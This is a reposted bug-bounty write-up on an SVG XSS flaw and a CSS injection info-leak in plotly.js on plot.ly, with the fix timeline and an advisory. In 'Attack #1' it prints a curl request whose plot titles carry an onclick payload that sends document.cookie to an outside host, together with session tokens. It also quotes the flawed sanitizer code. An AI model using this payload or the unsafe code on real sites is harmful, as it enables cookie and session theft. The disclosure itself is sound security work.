How I hacked plot.ly by exploiting an SVG vulnerability in plotly.js
来源:互联网 发布:mac英国官网 编辑:程序博客网 时间:2024/05/16 13:27
Index
Advisory
Overview
Attack #1
Attack #2
Report
CDN
Plotly’s Product and Security Policy
Closing
Timeline
Overview
A friend knew that I wanted to explore a SVG based product and recommended I check out plot.ly. I saw they had a minimal hackerone page targeting just their site so I headed over and created an account.
Attack #1
Logging in I began looking over their application. When I found the plot creation screen and viewed the source, I could see that plot.ly was rendering the SVG inside the DOM. Because plot.ly uses React, I knew immediately that my best chance for success was targeting the SVG itself.
I started fuzzing random inputs in the plot’s json object. It took me quiet a while but eventually I noticed that when I submitted just a single <span>
character in a title field, a <tspan>
set was returned and rendered inside the plot’s SVG. As this struck me as odd, I wrote a quick script to iterate through a list of html, xml, and svg nodes and see what would return. Most were filtered, but of the few that were not I began trying to test if I could break into the DOM using a standard OWASP list of vulnerable characters.
No luck.
Which led me to attaching different html attributes to the nodes. Quickly arriving at href
which was converted to the xlink:href
attriubute on the <a>
tag. This is where I realized that with a specific string, I could break out into the DOM and inject a payload. I attached some js on the onclick function and tested dumping my cookie values to my server which was a success.
curl 'https://api.plot.ly/v2/plots/jfolkins4:1?allow_raw=true' -X PUT -H 'Origin: https://plot.ly' -H 'Accept-Encoding: gzip, deflate, sdch, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2806.0 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Referer: https://plot.ly/alpha/workspace/?fid=jfolkins4:1' -H 'Cookie: __insp_wid=27831418; __insp_nv=true; __insp_ref=aHR0cHM6Ly9wbG90Lmx5L29yZ2FuaXplL2hvbWU%3D; __insp_targlpu=https%3A%2F%2Fplot.ly%2Falpha%2Fworkspace%2F%3Ffid%3Djfolkins2%3A8; __insp_targlpt=Plotly; AWSELB=296F2D2B16D851992A5FF5CDA5674849B81CD605B18D343650EA0A95460A799A3E945A852865ED93DA1897C58297E442C1104126FB71F0DAD63ED5B0E9B39528A608A9397E; __utmt=1; anoncsrf=nFRR5X5yORosi8e9G0thpmB7FB5iWJoh; __utma=204621137.94893556.1469315074.1469393235.1469397621.9; __utmb=204621137.112.10.1469397621; __utmc=204621137; __utmz=204621137.1469315074.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mp_ad6df61d0b9400400b240631576c24d4_mixpanel=%7B%22distinct_id%22%3A%20%221561a00e9c83ab-0f418e04c84b17-62350f7f-13c680-1561a00e9c961d%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%2C%22Email%22%3A%20%22jfolkins%2Bplotly%40gmail.com%22%2C%22Username%22%3A%20%22jfolkins2%22%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpap%22%3A%20%5B%5D%2C%22__alias%22%3A%20%22jfolkins4%22%7D; _ceg.s=oaumpv; _ceg.u=oaumpv; __insp_sid=2302041118; __insp_uid=464597034; __insp_slim=1469413616721; mp_mixpanel__c=48; plotly_sess_pr=nrokvhlbgt3audzyprc9m5o1rv0n43sn; plotly_csrf_pr=OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' -H 'Connection: keep-alive' -H 'X-CSRFToken: OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' --data-binary '{"world_readable":true,"figure":{"data":[{"error_x":{"visible":false},"error_y":{"visible":false},"fill":"none","mode":"markers","showlegend":true,"hoverinfo":"x+y+z+text","opacity":1,"name":"B","ysrc":"jfolkins4:0:9b2a36","xsrc":"jfolkins4:0:3a3ce6","text":"","uid":"711e4c","visible":true,"index":0,"legendgroup":"","xaxis":"x","marker":{"symbol":"circle","opacity":1,"size":6,"color":"#1f77b4","line":{"color":"#444","width":0},"maxdisplayed":0},"type":"scatter","yaxis":"y","hoveron":"points"}],"layout":{"plot_bgcolor":"#fff","smith":false,"annotations":[],"width":800,"height":449.125,"titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":17,"color":"#444"},"showlegend":false,"paper_bgcolor":"#fff","margin":{"l":80,"r":80,"t":100,"b":80,"pad":0,"autoexpand":true},"separators":".,","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autosize":true,"shapes":[],"hidesources":false,"dragmode":"zoom","title":"<a href=\"#\" xlink:type=\"resource\" xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","xaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"dtick":0.2,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tick0":0,"tickformat":"","anchor":"y","tickangle":"auto","ticks":"","side":"bottom","title":"<a href=\"#\" xlink:type=\"resource\" xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","showticklabels":true,"type":"linear","zeroline":true,"range":[0.9371152154793316,2.0628847845206684],"gridcolor":"rgb(238, 238, 238)"},"yaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"dtick":0.2,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tick0":0,"tickformat":"","anchor":"x","tickangle":"auto","ticks":"","side":"left","title":"<a href=\"#\" xlink:type=\"resource\" xlink:SHOW=\"onLoad\" xlink:ACTUATE=\"onLoad\" class=\"hack\" react-id=\"…1.2.3.foo.…\" target=\"_self\" onclick=\"var xhr = new XMLHttpRequest();var c = document.cookie;xhr.open(`GET`, `https://www.threathound.com/plotly?=`+c);xhr.send()\">Risky click of the day!</a>","showticklabels":true,"type":"linear","zeroline":true,"range":[0.9266837169650469,2.073316283034953],"gridcolor":"rgb(238, 238, 238)"},"hovermode":"closest"}}}' --compressed
Image1
Image2
Attack #2
I noticed that plot.ly was allowing the style attribute to be manipulated in the tag inside the embedded svg. I tested to see if background: url(http://example.com/image)
would work in making an external cross domain request. It did. Also, because I could nest the tags, I could embed 1000s of different images to external urls. While on the surface this may not seem too severe it is helpful to remember that something like this would break many-a-company’s privacy policy. It also leaks data about your userbase and you don’t want that. Especially when the fix is simple. Every risk model is different but there you go, something to consider.
Image4
Image5
Image6
Report
As I was crafting the report, I was curious as to what piece of code was responsible. It was then that I searched for plotly on github and realized they have a massive OSS presence (doh!). I tried tracking down the code but I could not. The search term I was utilizing was a xlink:href
but the entry I found could not possibly be the cause of the exploit.
if(tag === 'a') { if(close) return '</a>'; else if(extra.substr(0, 4).toLowerCase() !== 'href') return '<a>'; else { // remove quotes, leading '=', replace '&' with '&' var href = extra.substr(4) .replace(/["']/g, '') .replace(/=/, '') .replace(/&/g, '&'); // check protocol var dummyAnchor = document.createElement('a'); dummyAnchor.href = href; if(PROTOCOLS.indexOf(dummyAnchor.protocol) === -1) return '<a>'; return '<a xlink:show="new" xlink:href="' + href + '">'; }
I was really stumped. I went back to plot.ly’s site and downloaded their assets. Searching through them I found the code snip keying off of a xlink:href
and what I found there was totally exploitable.
if(tag === 'a') { if(close) return '</a>'; else if(extra.substr(0, 4).toLowerCase() !== 'href') return '<a>'; else { var dummyAnchor = document.createElement('a'); dummyAnchor.href = extra.substr(4).replace(/["'=]/g, ''); if(PROTOCOLS.indexOf(dummyAnchor.protocol) === -1) return '<a>'; return '<a xlink:show="new" xlink:href' + extra.substr(4) + '>'; }}
Now the lightbulb went on. I went back to the github repo and saw that the master branch had been updated 14 days prior with a fix. This fix had not made it into production though. Viewing the tag for the previous version, I found the offending code in the repo.
https://github.com/plotly/plotly.js/blob/v1.15.0/src/lib/svg_text_utils.js#L266-L281
https://github.com/plotly/plotly.js/blob/v1.14.2/src/lib/svg_text_utils.js#L262-L271
This initial patch also didn’t fix the info leak but upon explanation plot.ly applied a patch to filter the correct characters to prevent this.
CDN
At this time the fix has been backported on the CDN to versions 1.10.4 though I’d recommend everyone upgrade to Plotly.js v1.16.0.
Plotly’s Product and Security Policy
Plotly’s security policy was a bit underdeveloped making communication difficult for me at first. I am happy to say Jody and the https://plot.ly team listened to the feedback and dialed in their process. That is a wonderful indication of their intent to take security seriously. I hope this effort helps their future communications and that they get many more positive reports because of it.
- Email security@plot.ly with any reports
- https://help.plot.ly/security/
- http://help.plot.ly/security-advisories/
- https://github.com/plotly/plotly.js/blob/67de1280dc30c6e197a4d1024968832be0410e6e/SECURITY.md
- https://hackerone.com/plotly-1
Also, If you haven’t used https://plot.ly and need to create graphs and data visualizations I’d recommend checking it out. After literally hacking it I couldn’t help but be impressed at what their software is capable of.
*I don’t work for plot.ly nor have I accepted any form of incentive.
Closing
SVG is an incredibly painful document to try and secure. If you are embedding SVG into your site, stick with <img src="kitty.svg"...>
so as to avoid having to sanitize the actual document. The attack surface is just too large. Keep in mind that even with <img>
or <div style="background-image:url()">
you will face challenges as in my tests, some browsers will load external css or images. (I need to research this more)
If you are using <embed>, <object>, <iframe>
with your SVGs you are probably asking for trouble. Don’t do that unless your application requires it.
In this case as SVG is a core part of Plot.ly’s impressive technical stack, they’ll have to continue investing to mitigate these types of attacks.
Advisory
Plotly.js < 1.16.0 is vulnerable in returning a malformed SVG which lead to a successful XSS attack on https://plot.ly.
Plotly.js < 1.16.0 is vulnerable to a css injection which allowed for tracking images to be embedded and other info leaks.
http://help.plot.ly/security-advisories/2016-08-08-plotlyjs-xss-advisory/
Timeline
- Email sent Sunday July 24th, 2016
- Team responded Monday July 25th, 2016
- Fix rolled out to plotly.js within several days and their customers over the course 10 days
- Public Disclosure August 9th, 2016
- How I hacked plot.ly by exploiting an SVG vulnerability in plotly.js
- How can I plot an image (.jpg) in MATLAB in both 2-D and 3-D?
- How I Hacked Any Facebook Account...Again!
- How do I sort an array of hashes by a value in the hash?
- How do I make my GUI plot into an axes within the GUI figure rather than inside of a new figure in M
- 画图神器:plot.ly
- How do I design an arbitrary system in an interview?
- How can I send an email by Java application?
- plotly.js
- Hacked by 1BYTE
- How to load an ImageView by URL in Android
- How can i check if an app running in Android?
- How can I renew or release an IP in Linux?
- Using Core Plot in an iPhone Application
- Trojan exploiting MS08-067 RPC vulnerability
- Multiple Exploiting IE8/IE7 XSS Vulnerability
- How can I connect Unity to an SQL database in order to implement an MMO?
- plotly.js笔记
- 洛谷 P1220 关路灯 [dfs做法]
- android 在输入EditText是软件键盘挡住输入框解决方案
- WebService服务器端与客户端几种发布方式
- 数据传输协议的学习(应用层、传输层)
- muduo网络框架分析
- How I hacked plot.ly by exploiting an SVG vulnerability in plotly.js
- zookeeper实践(二) 伪分布式部署和配置
- hadoop 2.6.4 的安装配置 Ubuntu16.04
- CSS布局第一节课
- 编程-从矩阵左上角走到右下角
- JS函数中带与不带括号的区别
- android去掉标题栏的几种方法
- Hacked: Investigating An Intrusion On My Server
- 读取纯真IP数据库C++源代码